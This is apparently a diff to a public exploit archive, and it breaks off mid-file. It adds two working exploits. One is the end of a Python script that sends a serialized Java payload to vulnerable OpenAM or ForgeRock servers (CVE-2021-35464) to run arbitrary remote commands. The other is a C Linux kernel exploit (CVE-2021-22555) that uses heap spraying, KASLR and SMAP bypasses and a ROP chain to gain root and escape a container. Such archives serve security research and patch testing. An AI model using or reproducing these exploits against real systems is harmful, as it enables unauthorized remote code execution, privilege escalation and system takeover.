JFO2AD4ZBwa9AB1ZAxkOU1kEuwAlWQO3ACZTWQW7ACVZGQ6-twAmU7YAHlcZDLYABBI_BL0AG1kDGQ9TtgAcGQwEvQAdWQMZB1O2AB5XpwBOOg8SQbgAOjoQGRASQgS9ABtZAxI9U7YAPhkQBL0AHVkDGQ5TtgAeOgcZDLYABBI_BL0AG1kDGRBTtgAcGQwEvQAdWQMZB1O2AB5XBDsamQAGpwAJhAkBp_4vGpkABqcAEacACDoFpwADhAQBp_0ypwAISyq2AESxAAgAlwCiAKUAEgDFANMA1gASAhUCiAKLAEAAMAA7Au8AQwA-AFkC7wBDAFwAfALvAEMAfwLpAu8AQwAAAvoC_QBDAAMASgAAAQYAQQAAABUAAgAWAAkAFwALABgAFQAaABoAGwAmABwAMAAeADYAHwA-ACAARQAhAFwAIgBnACMAbAAkAHQAJQB_ACYAigAnAI8AKACXACoAogAtAKUAKwCnACwAuAAuAL0ALwDFADEA0wA0ANYAMgDYADMA4wA1AOgANgDwADcA-wA4AQAAOQEOADoBHQA7ASgAPAEzAD0BOAA-AUAAPwFZAEABfwBBAYwAQgG3AEMB8gBEAhUARgIcAEcCIwBIAmYASQKIAE4CiwBKAo0ASwKUAEwCtABNAtYATwLYAFEC3wA6AuUAUwLsAFYC7wBUAvEAVQL0ABwC-gBaAv0AWAL-AFkDAgBbAEsAAADeABYApwARAFwAXQAIANgACwBcAF0ACAIcAGwAXgBfAA8ClABCAF4AXwAQAo0ASQBgAGEADwHyAOYAYgBjAA0CFQDDAGQAZQAOASgBtwBmAGcACgFAAZ8AaABnAAsBWQGGAGkAZwAMAREB1ABqAGsACQA2ArYAbABtAAUARQKnAG4AbwAGAHQCeABwAGcABwEOAd4AcQByAAgC8QADAFwAcwAFACkC0QB0AGsABAACAvgAdQB2AAAACQLxAHcAeAABAAsC7wB5AHoAAgAmAtQAewB8AAMC_gAEAFwAcwAAAH0AAACoABf_ACkABQEHAH4HAH8HAAkBAAD8ABQHAID8ABoHAIEC_AAiBwCCZQcAgxJdBwCDDP0ALQcAhAH-AMsHAIIHAIIHAIJSBwCF_wCaAA8BBwB-BwB_BwAJAQcAgAcAgQcAggcAhAEHAIIHAIIHAIIHAIUHAD0AAQcAhvsASvkAAfgABvoABf8ABgAFAQcAfgcAfwcACQEAAEIHAIcE_wAFAAAAAEIHAIcEAAEAiAAAAAIAiXVxAH4AJAAAAdjK_rq-AAAANAAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAAMwABAAEAAAAFKrcAAbEAAAACAA0AAAAKAAIAAACUAAQAlQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$' + +## Ignore unsigned certs, if any because OpenAM is default HTTP +ssl._create_default_https_context = ssl._create_unverified_context + +def checkParams(options, args): + if args: sHost = args[0] + else: + sHost = input('[?] Please enter the URL ['+sURL+'] : ') + if sHost == '': sHost = sURL + if not sHost[-1:] == '/': sHost += '/' + if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost + if options.command: sCMD = options.command + else: sCMD = '' + if options.proxy: sProxy = options.proxy + else: sProxy = '' + return (sHost, sCMD, sProxy) + +def findEndpoint(oOpener, sHost, sProxy): + def testEndpoint(sURL): + oRequest = urllib.request.Request(sURL) + if sProxy: oRequest.set_proxy(sProxy, 'http') + try: oResponse = oOpener.open(oRequest, timeout = iTimeout) + except: return False + if oResponse.code == 200: + if 'ForgeRock' in oResponse.read().decode(errors='ignore'): + print('[+] Found potential vulnerable endpoint: ' + sURL) + return True + return False + + if testEndpoint(sHost + sEndpoint): return sHost + sEndpoint + elif testEndpoint(sHost + 'openam/' + sEndpoint): return sHost + 'openam/' + sEndpoint + elif testEndpoint(sHost + 'OpenAM/' + sEndpoint): return sHost + 'OpenAM/' + sEndpoint + elif testEndpoint(sHost + 'openam/ccversion/Version'): return sHost + 'openam/ccversion/Version' + elif testEndpoint(sHost + 'OpenAM/ccversion/Version'): return sHost + 'OpenAM/ccversion/Version' + else: return '' + +def testVuln(oOpener, sURL, sProxy): + oResponse = runCmd(oOpener, sURL, sProxy, 'echo CVE-2021-35464') + ## The response is actually not well formed HTTP, needs manual formatting + bResp = bytearray(15) ## "CVE-2021-35464\n" should be 15 bytes + try: oResponse.readinto(bResp) + except: pass + #print(bResp.split(b'\x00')[0]) + if 'CVE-2021-35464' in bResp.decode(): return True + else: return False + +def runVuln(oOpener, sURL, sProxy, sCMD): + oResponse = runCmd(oOpener, sURL, sProxy, sCMD) + ## The response is actually not well formed HTTP, needs manual formatting + bResp = bytearray(4096) + try: oResponse.readinto(bResp) + except: pass ## The readinto still should have worked + sResp = bResp.split(b'\x00')[0].decode() + print(sResp) + +def runCmd(oOpener, sURL, sProxy, sCMD): + oData = b'jato.pageSession=' + strSerializedPayload + oHeaders = {'cmd' : sCMD} + oRequest = urllib.request.Request(url = sURL, headers = oHeaders, data = oData) + if sProxy: oRequest.set_proxy(sProxy, 'http') + return oOpener.open(oRequest, timeout = iTimeout) + +def main(): + usage = ( + 'usage: %prog [options] URL \n' + 'Example: CVE-2021-35464.py -c id http://192.168.0.100:7080/openam\n' + 'Example: CVE-2021-35464.py -c dir -p 127.0.0.1:8080 http://192.168.0.100:7080/openam\n' + 'When in doubt, just enter a single IP address' + ) + + parser = optparse.OptionParser(usage=usage) + parser.add_option('--command', '-c', dest='command', help='Optional: The command to run remotely') + parser.add_option('--proxy', '-p', dest='proxy', help='Optional: HTTP proxy to use, e.g. 127.0.0.1:8080') + + ## Get or ask for the vars + (options, args) = parser.parse_args() + (sHost, sCMD, sProxy) = checkParams(options, args) + + ## Verify reachability + print('[!] Verifying reachability of ' + sHost) + oOpener = urllib.request.build_opener() + oRequest = urllib.request.Request(sHost) + if sProxy: oRequest.set_proxy(sProxy, 'http') + try: oResponse = oOpener.open(oRequest, timeout = iTimeout) + except urllib.error.HTTPError: pass + except: sys.exit('[-] Error, host ' + sHost + ' seems to be unreachable') + print('[+] Endpoint ' + sHost + ' reachable') + + ## Find endpoint + print('[!] Finding correct OpenAM endpoint') + sEndpoint = findEndpoint(oOpener, sHost, sProxy) + if sEndpoint == '': sys.exit('[-] Error finding the correct OpenAM endpoint or not vulnerable.') + + ## Verify vulnerability + if testVuln(oOpener, sEndpoint, sProxy): print('[+] !SUCCESS! Host ' + sHost + ' is vulnerable to CVE-2021-35464') + else: sys.exit('[-] Not vulnerable or this implementation does not work') + if sCMD: + print('[+] Running command "' + sCMD + '" now:\n') + runVuln(oOpener, sEndpoint, sProxy, sCMD) + else: print('[!] All done') + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/linux/local/50135.c b/exploits/linux/local/50135.c new file mode 100644 index 000000000..b9e754662 --- /dev/null +++ b/exploits/linux/local/50135.c @@ -0,0 +1,762 @@ +/* + * CVE-2021-22555: Turning \x00\x00 into 10000$ + * by Andy Nguyen (theflow@) + * + * theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c + * theflow@theflow:~$ ./exploit + * [+] Linux Privilege Escalation by theflow@ - 2021 + * + * [+] STAGE 0: Initialization + * [*] Setting up namespace sandbox... + * [*] Initializing sockets and message queues... + * + * [+] STAGE 1: Memory corruption + * [*] Spraying primary messages... + * [*] Spraying secondary messages... + * [*] Creating holes in primary messages... + * [*] Triggering out-of-bounds write... + * [*] Searching for corrupted primary message... + * [+] fake_idx: ffc + * [+] real_idx: fc4 + * + * [+] STAGE 2: SMAP bypass + * [*] Freeing real secondary message... + * [*] Spraying fake secondary messages... + * [*] Leaking adjacent secondary message... + * [+] kheap_addr: ffff91a49cb7f000 + * [*] Freeing fake secondary messages... + * [*] Spraying fake secondary messages... + * [*] Leaking primary message... + * [+] kheap_addr: ffff91a49c7a0000 + * + * [+] STAGE 3: KASLR bypass + * [*] Freeing fake secondary messages... + * [*] Spraying fake secondary messages... + * [*] Freeing sk_buff data buffer... + * [*] Spraying pipe_buffer objects... + * [*] Leaking and freeing pipe_buffer object... + * [+] anon_pipe_buf_ops: ffffffffa1e78380 + * [+] kbase_addr: ffffffffa0e00000 + * + * [+] STAGE 4: Kernel code execution + * [*] Spraying fake pipe_buffer objects... + * [*] Releasing pipe_buffer objects... + * [*] Checking for root... + * [+] Root privileges gained. + * + * [+] STAGE 5: Post-exploitation + * [*] Escaping container... + * [*] Cleaning up... + * [*] Popping root shell... + * root@theflow:/# id + * uid=0(root) gid=0(root) groups=0(root) + * root@theflow:/# + * + * Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+. + */ + +// clang-format off +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +// clang-format on + +#define PAGE_SIZE 0x1000 +#define PRIMARY_SIZE 0x1000 +#define SECONDARY_SIZE 0x400 + +#define NUM_SOCKETS 4 +#define NUM_SKBUFFS 128 +#define NUM_PIPEFDS 256 +#define NUM_MSQIDS 4096 + +#define HOLE_STEP 1024 + +#define MTYPE_PRIMARY 0x41 +#define MTYPE_SECONDARY 0x42 +#define MTYPE_FAKE 0x1337 + +#define MSG_TAG 0xAAAAAAAA + +// #define KERNEL_COS_5_4_89 1 +#define KERNEL_UBUNTU_5_8_0_48 1 + +// clang-format off +#ifdef KERNEL_COS_5_4_89 +// 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx] +#define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8 +// 0xffffffff815401df : pop rsp ; pop rbx ; ret +#define POP_RSP_POP_RBX_RET 0x5401DF + +// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret +#define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65 +// 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret +#define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8 +// 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret +#define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972 +// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret +#define MOV_RSP_RBP_POP_RBP_RET 0x6748C + +// 0xffffffff810c7c80 : pop rdx ; ret +#define POP_RDX_RET 0xC7C80 +// 0xffffffff8143a2b4 : pop rsi ; ret +#define POP_RSI_RET 0x43A2B4 +// 0xffffffff81067520 : pop rdi ; ret +#define POP_RDI_RET 0x67520 +// 0xffffffff8100054b : pop rbp ; ret +#define POP_RBP_RET 0x54B + +// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret +#define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6 +// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret +#define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1 + +#define FIND_TASK_BY_VPID 0x963C0 +#define SWITCH_TASK_NAMESPACES 0x9D080 +#define COMMIT_CREDS 0x9EC10 +#define PREPARE_KERNEL_CRED 0x9F1F0 + +#define ANON_PIPE_BUF_OPS 0xE51600 +#define INIT_NSPROXY 0x1250590 +#elif KERNEL_UBUNTU_5_8_0_48 +// 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39] +#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783 +// 0xffffffff8109b6c0 : pop rsp ; ret +#define POP_RSP_RET 0x9B6C0 +// 0xffffffff8106db59 : add rsp, 0xd0 ; ret +#define ADD_RSP_D0_RET 0x6DB59 + +// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret +#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3 +// 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret +#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3 +// 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret +#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF +// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret +#define MOV_RSP_RBP_POP_RBP_RET 0x891BC + +// 0xffffffff810f5633 : pop rcx ; ret +#define POP_RCX_RET 0xF5633 +// 0xffffffff811abaae : pop rsi ; ret +#define POP_RSI_RET 0x1ABAAE +// 0xffffffff81089250 : pop rdi ; ret +#define POP_RDI_RET 0x89250 +// 0xffffffff810005ae : pop rbp ; ret +#define POP_RBP_RET 0x5AE + +// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret +#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894 +// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret +#define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB + +#define FIND_TASK_BY_VPID 0xBFBC0 +#define SWITCH_TASK_NAMESPACES 0xC7A50 +#define COMMIT_CREDS 0xC8C80 +#define PREPARE_KERNEL_CRED 0xC9110 + +#define ANON_PIPE_BUF_OPS 0x1078380 +#define INIT_NSPROXY 0x1663080 +#else +#error "No kernel version defined" +#endif +// clang-format on + +#define SKB_SHARED_INFO_SIZE 0x140 +#define MSG_MSG_SIZE (sizeof(struct msg_msg)) +#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg)) + +struct msg_msg { + uint64_t m_list_next; + uint64_t m_list_prev; + uint64_t m_type; + uint64_t m_ts; + uint64_t next; + uint64_t security; +}; + +struct msg_msgseg { + uint64_t next; +}; + +struct pipe_buffer { + uint64_t page; + uint32_t offset; + uint32_t len; + uint64_t ops; + uint32_t flags; + uint32_t pad; + uint64_t private; +}; + +struct pipe_buf_operations { + uint64_t confirm; + uint64_t release; + uint64_t steal; + uint64_t get; +}; + +struct { + long mtype; + char mtext[PRIMARY_SIZE - MSG_MSG_SIZE]; +} msg_primary; + +struct { + long mtype; + char mtext[SECONDARY_SIZE - MSG_MSG_SIZE]; +} msg_secondary; + +struct { + long mtype; + char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE]; +} msg_fake; + +void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next, + uint64_t m_list_prev, uint64_t m_ts, uint64_t next) { + msg->m_list_next = m_list_next; + msg->m_list_prev = m_list_prev; + msg->m_type = MTYPE_FAKE; + msg->m_ts = m_ts; + msg->next = next; + msg->security = 0; +} + +int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) { + *(long *)msgp = msgtyp; + if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) { + perror("[-] msgsnd"); + return -1; + } + return 0; +} + +int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { + if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) < + 0) { + perror("[-] msgrcv"); + return -1; + } + return 0; +} + +int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { + if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) { + perror("[-] msgrcv"); + return -1; + } + return 0; +} + +int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) { + for (int i = 0; i < NUM_SOCKETS; i++) { + for (int j = 0; j < NUM_SKBUFFS; j++) { + if (write(ss[i][0], buf, size) < 0) { + perror("[-] write"); + return -1; + } + } + } + return 0; +} + +int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) { + for (int i = 0; i < NUM_SOCKETS; i++) { + for (int j = 0; j < NUM_SKBUFFS; j++) { + if (read(ss[i][1], buf, size) < 0) { + perror("[-] read"); + return -1; + } + } + } + return 0; +} + +int trigger_oob_write(int s) { + struct __attribute__((__packed__)) { + struct ipt_replace replace; + struct ipt_entry entry; + struct xt_entry_match match; + char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2]; + struct xt_entry_target target; + } data = {0}; + + data.replace.num_counters = 1; + data.replace.num_entries = 1; + data.replace.size = (sizeof(data.entry) + sizeof(data.match) + + sizeof(data.pad) + sizeof(data.target)); + + data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) + + sizeof(data.pad) + sizeof(data.target)); + data.entry.target_offset = + (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad)); + + data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad)); + strcpy(data.match.u.user.name, "icmp"); + data.match.u.user.revision = 0; + + data.target.u.user.target_size = sizeof(data.target); + strcpy(data.target.u.user.name, "NFQUEUE"); + data.target.u.user.revision = 1; + + // Partially overwrite the adjacent buffer with 2 bytes of zero. + if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) { + if (errno == ENOPROTOOPT) { + printf("[-] Error ip_tables module is not loaded.\n"); + return -1; + } + } + + return 0; +} + +// Note: Must not touch offset 0x10-0x18. +void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) { + uint64_t *rop; +#ifdef KERNEL_COS_5_4_89 + *(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET; + + rop = (uint64_t *)&buf[0x18]; + + // Save RBP at scratchpad_addr. + *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET; + *rop++ = scratchpad_addr; // R14 + *rop++ = 0xDEADBEEF; // RBP + *rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET; + *rop++ = 0xDEADBEEF; // RBX + *rop++ = 0xDEADBEEF; // R14 + *rop++ = 0xDEADBEEF; // RBP + + // commit_creds(prepare_kernel_cred(NULL)) + *rop++ = kbase_addr + POP_RDI_RET; + *rop++ = 0; // RDI + *rop++ = kbase_addr + PREPARE_KERNEL_CRED; + *rop++ = kbase_addr + POP_RDX_RET; + *rop++ = 1; // RDX + *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET; + *rop++ = 0xDEADBEEF; // RBP + *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET; + *rop++ = 0xDEADBEEF; // RBP + *rop++ = kbase_addr + COMMIT_CREDS; + + // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) + *rop++ = kbase_addr + POP_RDI_RET; + *rop++ = 1; // RDI + *rop++ = kbase_addr + FIND_TASK_BY_VPID; + *rop++ = kbase_addr + POP_RDX_RET; + *rop++ = 1; // RDX + *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET; + *rop++ = 0xDEADBEEF; // RBP + *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET; + *rop++ = 0xDEADBEEF; // RBP + *rop++ = kbase_addr + POP_RSI_RET; + *rop++ = kbase_addr + INIT_NSPROXY; // RSI + *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES; + + // Load RBP from scratchpad_addr and resume execution. + *rop++ = kbase_addr + POP_RBP_RET; + *rop++ = scratchpad_addr - 0x25; // RBP + *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET; + *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET; +#elif KERNEL_UBUNTU_5_8_0_48 + *(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET; + *(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET; + + rop = (uint64_t *)&buf[0xD8]; + + // Save RBP at scratchpad_addr. + *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET; + *rop++ = scratchpad_addr; // R12 + *rop++ = 0xDEADBEEF; // RBP + *rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET; + *rop++ = 0xDEADBEEF; // RBX + *rop++ = 0xDEADBEEF; // R12 + *rop++ = 0xDEADBEEF; // RBP + + // commit_creds(prepare_kernel_cred(NULL)) + *rop++ = kbase_addr + POP_RDI_RET; + *rop++ = 0; // RDI + *rop++ = kbase_addr + PREPARE_KERNEL_CRED; + *rop++ = kbase_addr + POP_RCX_RET; + *rop++ = 4; // RCX + *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; + *rop++ = 0xDEADBEEF; // RBP + *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; + *rop++ = kbase_addr + COMMIT_CREDS; + + // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) + *rop++ = kbase_addr + POP_RDI_RET; + *rop++ = 1; // RDI + *rop++ = kbase_addr + FIND_TASK_BY_VPID; + *rop++ = kbase_addr + POP_RCX_RET; + *rop++ = 4; // RCX + *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; + *rop++ = 0xDEADBEEF; // RBP + *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; + *rop++ = kbase_addr + POP_RSI_RET; + *rop++ = kbase_addr + INIT_NSPROXY; // RSI + *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES; + + // Load RBP from scratchpad_addr and resume execution. + *rop++ = kbase_addr + POP_RBP_RET; + *rop++ = scratchpad_addr - 0xA; // RBP + *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET; + *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET; +#endif +} + +int setup_sandbox(void) { + if (unshare(CLONE_NEWUSER) < 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + return -1; + } + if (unshare(CLONE_NEWNET) < 0) { + perror("[-] unshare(CLONE_NEWNET)"); + return -1; + } + + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(0, &set); + if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) { + perror("[-] sched_setaffinity"); + return -1; + } + + return 0; +} + +int main(int argc, char *argv[]) { + int s; + int fd; + int ss[NUM_SOCKETS][2]; + int pipefd[NUM_PIPEFDS][2]; + int msqid[NUM_MSQIDS]; + + char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE]; + char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE]; + + struct msg_msg *msg; + struct pipe_buf_operations *ops; + struct pipe_buffer *buf; + + uint64_t pipe_buffer_ops = 0; + uint64_t kheap_addr = 0, kbase_addr = 0; + + int fake_idx = -1, real_idx = -1; + + printf("[+] Linux Privilege Escalation by theflow@ - 2021\n"); + + printf("\n"); + printf("[+] STAGE 0: Initialization\n"); + + printf("[*] Setting up namespace sandbox...\n"); + if (setup_sandbox() < 0) + goto err_no_rmid; + + printf("[*] Initializing sockets and message queues...\n"); + + if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + perror("[-] socket"); + goto err_no_rmid; + } + + for (int i = 0; i < NUM_SOCKETS; i++) { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) { + perror("[-] socketpair"); + goto err_no_rmid; + } + } + + for (int i = 0; i < NUM_MSQIDS; i++) { + if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) { + perror("[-] msgget"); + goto err_no_rmid; + } + } + + printf("\n"); + printf("[+] STAGE 1: Memory corruption\n"); + + printf("[*] Spraying primary messages...\n"); + for (int i = 0; i < NUM_MSQIDS; i++) { + memset(&msg_primary, 0, sizeof(msg_primary)); + *(int *)&msg_primary.mtext[0] = MSG_TAG; + *(int *)&msg_primary.mtext[4] = i; + if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < + 0) + goto err_rmid; + } + + printf("[*] Spraying secondary messages...\n"); + for (int i = 0; i < NUM_MSQIDS; i++) { + memset(&msg_secondary, 0, sizeof(msg_secondary)); + *(int *)&msg_secondary.mtext[0] = MSG_TAG; + *(int *)&msg_secondary.mtext[4] = i; + if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), + MTYPE_SECONDARY) < 0) + goto err_rmid; + } + + printf("[*] Creating holes in primary messages...\n"); + for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) { + if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < + 0) + goto err_rmid; + } + + printf("[*] Triggering out-of-bounds write...\n"); + if (trigger_oob_write(s) < 0) + goto err_rmid; + + printf("[*] Searching for corrupted primary message...\n"); + for (int i = 0; i < NUM_MSQIDS; i++) { + if (i != 0 && (i % HOLE_STEP) == 0) + continue; + if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0) + goto err_no_rmid; + if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) { + printf("[-] Error could not corrupt any primary message.\n"); + goto err_no_rmid; + } + if (*(int *)&msg_secondary.mtext[4] != i) { + fake_idx = i; + real_idx = *(int *)&msg_secondary.mtext[4]; + break; + } + } + + if (fake_idx == -1 && real_idx == -1) { + printf("[-] Error could not corrupt any primary message.\n"); + goto err_no_rmid; + } + + // fake_idx's primary message has a corrupted next pointer; wrongly + // pointing to real_idx's secondary message. + printf("[+] fake_idx: %x\n", fake_idx); + printf("[+] real_idx: %x\n", real_idx); + + printf("\n"); + printf("[+] STAGE 2: SMAP bypass\n"); + + printf("[*] Freeing real secondary message...\n"); + if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary), + MTYPE_SECONDARY) < 0) + goto err_rmid; + + // Reclaim the previously freed secondary message with a fake msg_msg of + // maximum possible size. + printf("[*] Spraying fake secondary messages...\n"); + memset(secondary_buf, 0, sizeof(secondary_buf)); + build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242, + PAGE_SIZE - MSG_MSG_SIZE, 0); + if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) + goto err_rmid; + + // Use the fake secondary message to read out-of-bounds. + printf("[*] Leaking adjacent secondary message...\n"); + if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0) + goto err_rmid; + + // Check if the leak is valid. + if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) { + printf("[-] Error could not leak adjacent secondary message.\n"); + goto err_rmid; + } + + // The secondary message contains a pointer to the primary message. + msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE]; + kheap_addr = msg->m_list_next; + if (kheap_addr & (PRIMARY_SIZE - 1)) + kheap_addr = msg->m_list_prev; + printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr); + + if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) { + printf("[-] Error kernel heap address is incorrect.\n"); + goto err_rmid; + } + + printf("[*] Freeing fake secondary messages...\n"); + free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + // Put kheap_addr at next to leak its content. Assumes zero bytes before + // kheap_addr. + printf("[*] Spraying fake secondary messages...\n"); + memset(secondary_buf, 0, sizeof(secondary_buf)); + build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242, + sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE); + if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) + goto err_rmid; + + // Use the fake secondary message to read from kheap_addr. + printf("[*] Leaking primary message...\n"); + if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0) + goto err_rmid; + + // Check if the leak is valid. + if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) { + printf("[-] Error could not leak primary message.\n"); + goto err_rmid; + } + + // The primary message contains a pointer to the secondary message. + msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE]; + kheap_addr = msg->m_list_next; + if (kheap_addr & (SECONDARY_SIZE - 1)) + kheap_addr = msg->m_list_prev; + + // Calculate the address of the fake secondary message. + kheap_addr -= SECONDARY_SIZE; + printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr); + + if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) { + printf("[-] Error kernel heap address is incorrect.\n"); + goto err_rmid; + } + + printf("\n"); + printf("[+] STAGE 3: KASLR bypass\n"); + + printf("[*] Freeing fake secondary messages...\n"); + free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + // Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible. + printf("[*] Spraying 